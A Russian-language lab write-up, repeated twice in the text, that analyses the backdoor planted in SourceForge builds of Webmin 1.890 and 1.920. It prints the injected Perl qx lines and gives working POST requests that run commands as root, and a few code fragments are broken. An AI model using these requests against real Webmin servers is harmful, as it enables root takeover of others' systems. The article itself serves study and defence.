M
mostbiggestshark
Содержание статьи
Webmin полностью написан на Perl, без использования нестандартных модулей. Он состоит из простого веб-сервера и нескольких скриптов — они связывают команды, обеспечивающие исполнение команд, которые пользователь отдает в веб-интерфейсе, на уровне операционной системы и внешних программ. Через веб-админку можно создавать новые учетные записи пользователей, почтовые ящики, изменять настройки служб и разных сервисов и все в таком духе.
Уязвимость находится в модуле восстановления пароля. Манипулируя параметром old в скрипте password_change.cgi, атакующий может выполнять произвольный код на целевой системе с правами суперпользователя, что наводит на мысли об умышленном характере этого бага. Что еще подозрительнее — проблема присутствует только в готовых сборках дистрибутива с SourceForge, а в исходниках на GitHub ее нет.
Стенд
Для демонстрации уязвимости нам понадобятся две версии дистрибутива Webmin — 1.890 и 1.920, так как тестовые окружения для них немного различаются.
Для этого воспользуемся двумя контейнерами Docker.
$ docker run -it --rm -p10000:10000 --name=webminrce18 --hostname=webminrce18.vh debian /bin/bash
$ docker run -it --rm -p20000:10000 --name=webminrce19 --hostname=webminrce19.vh debian /bin/bash
Теперь установим необходимые зависимости.
$ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions
Во время установки apt-show-versions у меня возникла проблема (на скриншоте ниже).
Следующие команды помогают ее устранить:
$ apt-get purge -y apt-show-versions
$ rm /var/lib/apt/lists/*lz4
$ apt-get -o Acquire::GzipIndexes=false update -y
$ apt install -y apt-show-versions
После этого скачиваем соответствующие версии дистрибутивов с SourceForge.
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.890_all.deb
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.920_all.deb
И устанавливаем их.
$ dpkg --install webmin_1.890_all.deb
$ dpkg --install webmin_1.920_all.deb
Теперь запускаем демоны Webmin.
$ service webmin start
Версия 1.890 доступна на дефолтном порте 10000, а 1.920 — на 20000.
Осталось только установить пароль для пользователя root при помощи команды passwd, и стенды готовы. Переходим к деталям уязвимости.
Детали
Сначала разберемся с версией 1.920. Проблема — в функции смены пароля, а сама она находится в файле password_change.cgi. Так как проблема затронула только версию приложения с SourceForge, можно легко узнать, в чем разница с той, что лежит на GitHub.
Видим, что добавлен вызов функции qx.
webmin-1.920-github/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
webmin-1.920-sourceforge/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Интересные изменения. Но не будем спешить, сначала разберемся, как добраться до этой части кода.
В начале скрипта проверяется, какой режим парольной политики выбран в настройках.
password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
Авторизуемся в панели управления Webmin как root и зайдем в настройки аутентификации (Webmin → Webmin Configuration → Authentication), здесь нужно найти пункт Password expiry policy и установить его в Prompt users with expired passwords to enter a new one.
Теперь переменная passwd_mode имеет значение 2, что можно проверить в конфигурационном файле, и выполнение скрипта не будет прерываться на строке 12.
Чтобы наглядно увидеть форму для изменения пароля, давай перейдем в раздел редактирования пользователей и создадим тестового юзера. Здесь установим опцию Force change at next login.
Теперь при авторизации от его имени система попросит установить новый пароль. Данные этой формы как раз и будут отправлены на скрипт password_change.cgi.
Итак, заполним форму, отправим и перехватим запрос. Теперь возвращаемся к скрипту. Массив $in содержит пользовательские данные, которые передаются в теле запроса POST.
password_change.cgi
15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});
Здесь проверяется, что новый пароль установлен (переменная new1) и он оба раза введен верно (new1 == new2).
Далее Webmin выполняет проверку на наличие и возможность использования модуля acl (access-control list).
password_change.cgi
19: if (&foreign_check("acl")) {
Если такой модуль есть, то подгружаем его.
20: &foreign_require("acl", "acl-lib.pl");
Из названия понятно, что модуль работает со списком управления доступом. Он выполняет разные операции с пользователями: редактирование, изменение паролей и прав.
Скрипт выбирает из списка пользователей юзера, которому нужно установить новый пароль. Имя пользователя берется из поля user формы смены пароля.
password_change.cgi
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
Давай немного поиграем в тестировщиков и посмотрим на переменную $wuser. Для этого нужно добавить в скрипт включение модуля Data:
umper, после чего можно будет выводить информацию о переменных при помощи конструкции Dumper($var_name).
password_change.cgi
6: use Data:
umper;
...
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); print Dumper($wus
В Webmin пользователи бывают двух типов: системные, которые существуют непосредственно в ОС, и внутренние юзеры приложения. Список системных пользователей в Linux ты можешь найти в файле /etc/passwd, именно из него и берет информацию Webmin. Поэтому у таких пользователей свойство pass будет иметь значение x.
Если мы будем использовать такого юзера в форме смены пароля, то это не позволит нам попасть в нужное условие и добраться до нужного участка кода.
$wuser = {
'name' => 'root',
'pass' => 'x',
'readonly' => undef,
'lastchange' => '',
'real' => undef,
'twofactor_apikey' => undef,
'lang' => 'ru.UTF-8',
...
};
password_change.cgi
22: if ($wuser->{'pass'} eq 'x') {
23: # A Webmin user, but using Unix authentication
24: $wuser = undef;
25: }
...
37: if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Если ты поставишь вывод значения переменной прямо перед условием, то увидишь, что при попытке изменить пароль системному пользователю она будет иметь значение undef.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
Однако не все так плохо. Если указать несуществующего пользователя, то переменная станет пустой, но не неопределенной. И в таком случае условие if ($wuser) будет считаться истиной.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: die 'We are here!'; $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
Здесь старый пароль, который мы передали в форме, сравнивается с текущим паролем пользователя. Естественно, эта часть выражения будет ложной, так как никакого пользователя nonexistentuser не существует. Поэтому выполняется вторая часть условия, где выводится сообщение об ошибке, а к нему добавляется то, что вернет конструкция qx/$in{'old'}/.
password_change.cgi
37: if ($wuser) {
...
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Что же это за функция — qx? Это альтернатива использованию обратных кавычек для выполнения системных команд. В качестве разделителей можно использовать любые символы, в нашем случае это /. То есть, проще говоря, будет выполнена команда, которая передана в качестве старого пароля (old) пользователя.
Давай протестируем это и попробуем передать, например, uname -a.
POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce19.vh:20000/session_login.cgi
user=nonexistentuser&pam=1&expired=2&old=uname+-a&new1=any&new2=any
Вуаля! Команда была выполнена, и pass_error любезно предоставила результат ее работы на экране.
Таким образом, если парольная политика Webmin 1.920 разрешает запрашивать новые аутентификационные данные у пользователей с просроченными паролями, то при такой конфигурации возможно удаленное выполнение команд от имени суперпользователя.
С этой версией разобрались, теперь перейдем к более старой 1.890.
Снова сравним файл password_change.cgi из двух источников.
webmin-1.890-github/password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
webmin-1.890-sourceforge/password_change.cgi
12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
Здесь есть похожая конструкция с qx — qx/$in{'expired'}/, только на этот раз она была использована еще более дерзко.
Сначала обращаю твое внимание на то, что вместо проверки парольной политики используется простая проверка переменной $in{'expired'} на то, не пустая ли она. Так как $in — это пользовательские данные из запроса, то обойти эту проверку не составит никакого труда. Для этого достаточно указать любое значение в параметре expired при запросе к скрипту. К тому же данные из этого параметра и являются тем, что будет выполнено. Поэтому просто указываем необходимую команду.
POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce18.vh:10000/session_login.cgi
expired=id
И сервер вернет результат ее выполнения.
Заключение
Сегодня мы узнали, что не стоит слепо доверять даже таким источникам, как sourceforge.net. Если есть несколько способов скачать приложения, то можно сверить их контрольные суммы. А если ты ставишь дистрибутив на сервер, где будет идти работа с важными данными, то этот пункт становится еще актуальнее.
Если ты сам разработчик, то почаще проверяй, что ты загружаешь на разные ресурсы: версии не должны расходиться. А еще лучше использовать какое-то средство автоматического аудита исходников, которое предупредит о подозрительных находках. Это, конечно, не панацея, но в таких случаях может выручить.
Если же ты уже используешь Webmin и хочешь избавиться от описанной закладки, то это просто. Достаточно удалить вызов функции qx, а также вернуть проверку passwd_mode в Webmin версии 1.890.
Если хочешь побольше узнать о том, как получилось, что бэкдор попал в релиз дистрибутива, рекомендую ознакомиться с официальной хронологией событий, написанной разработчиками Webmin.
- Стенд
- Детали
- Демонстрация уязвимости (видео)
- Заключение
Webmin полностью написан на Perl, без использования нестандартных модулей. Он состоит из простого веб-сервера и нескольких скриптов — они связывают команды, обеспечивающие исполнение команд, которые пользователь отдает в веб-интерфейсе, на уровне операционной системы и внешних программ. Через веб-админку можно создавать новые учетные записи пользователей, почтовые ящики, изменять настройки служб и разных сервисов и все в таком духе.
Уязвимость находится в модуле восстановления пароля. Манипулируя параметром old в скрипте password_change.cgi, атакующий может выполнять произвольный код на целевой системе с правами суперпользователя, что наводит на мысли об умышленном характере этого бага. Что еще подозрительнее — проблема присутствует только в готовых сборках дистрибутива с SourceForge, а в исходниках на GitHub ее нет.
Стенд
Для демонстрации уязвимости нам понадобятся две версии дистрибутива Webmin — 1.890 и 1.920, так как тестовые окружения для них немного различаются.
Для этого воспользуемся двумя контейнерами Docker.
$ docker run -it --rm -p10000:10000 --name=webminrce18 --hostname=webminrce18.vh debian /bin/bash
$ docker run -it --rm -p20000:10000 --name=webminrce19 --hostname=webminrce19.vh debian /bin/bash
Теперь установим необходимые зависимости.
$ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions
Во время установки apt-show-versions у меня возникла проблема (на скриншоте ниже).
Следующие команды помогают ее устранить:
$ apt-get purge -y apt-show-versions
$ rm /var/lib/apt/lists/*lz4
$ apt-get -o Acquire::GzipIndexes=false update -y
$ apt install -y apt-show-versions
После этого скачиваем соответствующие версии дистрибутивов с SourceForge.
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.890_all.deb
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.920_all.deb
И устанавливаем их.
$ dpkg --install webmin_1.890_all.deb
$ dpkg --install webmin_1.920_all.deb
Теперь запускаем демоны Webmin.
$ service webmin start
Версия 1.890 доступна на дефолтном порте 10000, а 1.920 — на 20000.
Осталось только установить пароль для пользователя root при помощи команды passwd, и стенды готовы. Переходим к деталям уязвимости.
Детали
Сначала разберемся с версией 1.920. Проблема — в функции смены пароля, а сама она находится в файле password_change.cgi. Так как проблема затронула только версию приложения с SourceForge, можно легко узнать, в чем разница с той, что лежит на GitHub.
Видим, что добавлен вызов функции qx.
webmin-1.920-github/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
webmin-1.920-sourceforge/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Интересные изменения. Но не будем спешить, сначала разберемся, как добраться до этой части кода.
В начале скрипта проверяется, какой режим парольной политики выбран в настройках.
password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
Авторизуемся в панели управления Webmin как root и зайдем в настройки аутентификации (Webmin → Webmin Configuration → Authentication), здесь нужно найти пункт Password expiry policy и установить его в Prompt users with expired passwords to enter a new one.
Теперь переменная passwd_mode имеет значение 2, что можно проверить в конфигурационном файле, и выполнение скрипта не будет прерываться на строке 12.
Чтобы наглядно увидеть форму для изменения пароля, давай перейдем в раздел редактирования пользователей и создадим тестового юзера. Здесь установим опцию Force change at next login.
Теперь при авторизации от его имени система попросит установить новый пароль. Данные этой формы как раз и будут отправлены на скрипт password_change.cgi.
Итак, заполним форму, отправим и перехватим запрос. Теперь возвращаемся к скрипту. Массив $in содержит пользовательские данные, которые передаются в теле запроса POST.
password_change.cgi
15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});
Здесь проверяется, что новый пароль установлен (переменная new1) и он оба раза введен верно (new1 == new2).
Далее Webmin выполняет проверку на наличие и возможность использования модуля acl (access-control list).
password_change.cgi
19: if (&foreign_check("acl")) {
Если такой модуль есть, то подгружаем его.
20: &foreign_require("acl", "acl-lib.pl");
Из названия понятно, что модуль работает со списком управления доступом. Он выполняет разные операции с пользователями: редактирование, изменение паролей и прав.
Скрипт выбирает из списка пользователей юзера, которому нужно установить новый пароль. Имя пользователя берется из поля user формы смены пароля.
password_change.cgi
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
Давай немного поиграем в тестировщиков и посмотрим на переменную $wuser. Для этого нужно добавить в скрипт включение модуля Data:
password_change.cgi
6: use Data:
...
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); print Dumper($wus
В Webmin пользователи бывают двух типов: системные, которые существуют непосредственно в ОС, и внутренние юзеры приложения. Список системных пользователей в Linux ты можешь найти в файле /etc/passwd, именно из него и берет информацию Webmin. Поэтому у таких пользователей свойство pass будет иметь значение x.
Если мы будем использовать такого юзера в форме смены пароля, то это не позволит нам попасть в нужное условие и добраться до нужного участка кода.
$wuser = {
'name' => 'root',
'pass' => 'x',
'readonly' => undef,
'lastchange' => '',
'real' => undef,
'twofactor_apikey' => undef,
'lang' => 'ru.UTF-8',
...
};
password_change.cgi
22: if ($wuser->{'pass'} eq 'x') {
23: # A Webmin user, but using Unix authentication
24: $wuser = undef;
25: }
...
37: if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Если ты поставишь вывод значения переменной прямо перед условием, то увидишь, что при попытке изменить пароль системному пользователю она будет иметь значение undef.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
Однако не все так плохо. Если указать несуществующего пользователя, то переменная станет пустой, но не неопределенной. И в таком случае условие if ($wuser) будет считаться истиной.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: die 'We are here!'; $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
Здесь старый пароль, который мы передали в форме, сравнивается с текущим паролем пользователя. Естественно, эта часть выражения будет ложной, так как никакого пользователя nonexistentuser не существует. Поэтому выполняется вторая часть условия, где выводится сообщение об ошибке, а к нему добавляется то, что вернет конструкция qx/$in{'old'}/.
password_change.cgi
37: if ($wuser) {
...
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Что же это за функция — qx? Это альтернатива использованию обратных кавычек для выполнения системных команд. В качестве разделителей можно использовать любые символы, в нашем случае это /. То есть, проще говоря, будет выполнена команда, которая передана в качестве старого пароля (old) пользователя.
Давай протестируем это и попробуем передать, например, uname -a.
POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce19.vh:20000/session_login.cgi
user=nonexistentuser&pam=1&expired=2&old=uname+-a&new1=any&new2=any
Вуаля! Команда была выполнена, и pass_error любезно предоставила результат ее работы на экране.
Таким образом, если парольная политика Webmin 1.920 разрешает запрашивать новые аутентификационные данные у пользователей с просроченными паролями, то при такой конфигурации возможно удаленное выполнение команд от имени суперпользователя.
С этой версией разобрались, теперь перейдем к более старой 1.890.
Снова сравним файл password_change.cgi из двух источников.
webmin-1.890-github/password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
webmin-1.890-sourceforge/password_change.cgi
12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
Здесь есть похожая конструкция с qx — qx/$in{'expired'}/, только на этот раз она была использована еще более дерзко.
Сначала обращаю твое внимание на то, что вместо проверки парольной политики используется простая проверка переменной $in{'expired'} на то, не пустая ли она. Так как $in — это пользовательские данные из запроса, то обойти эту проверку не составит никакого труда. Для этого достаточно указать любое значение в параметре expired при запросе к скрипту. К тому же данные из этого параметра и являются тем, что будет выполнено. Поэтому просто указываем необходимую команду.
POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer: https://webminrce18.vh:10000/session_login.cgi
expired=id
И сервер вернет результат ее выполнения.
Заключение
Сегодня мы узнали, что не стоит слепо доверять даже таким источникам, как sourceforge.net. Если есть несколько способов скачать приложения, то можно сверить их контрольные суммы. А если ты ставишь дистрибутив на сервер, где будет идти работа с важными данными, то этот пункт становится еще актуальнее.
Если ты сам разработчик, то почаще проверяй, что ты загружаешь на разные ресурсы: версии не должны расходиться. А еще лучше использовать какое-то средство автоматического аудита исходников, которое предупредит о подозрительных находках. Это, конечно, не панацея, но в таких случаях может выручить.
Если же ты уже используешь Webmin и хочешь избавиться от описанной закладки, то это просто. Достаточно удалить вызов функции qx, а также вернуть проверку passwd_mode в Webmin версии 1.890.
Если хочешь побольше узнать о том, как получилось, что бэкдор попал в релиз дистрибутива, рекомендую ознакомиться с официальной хронологией событий, написанной разработчиками Webmin.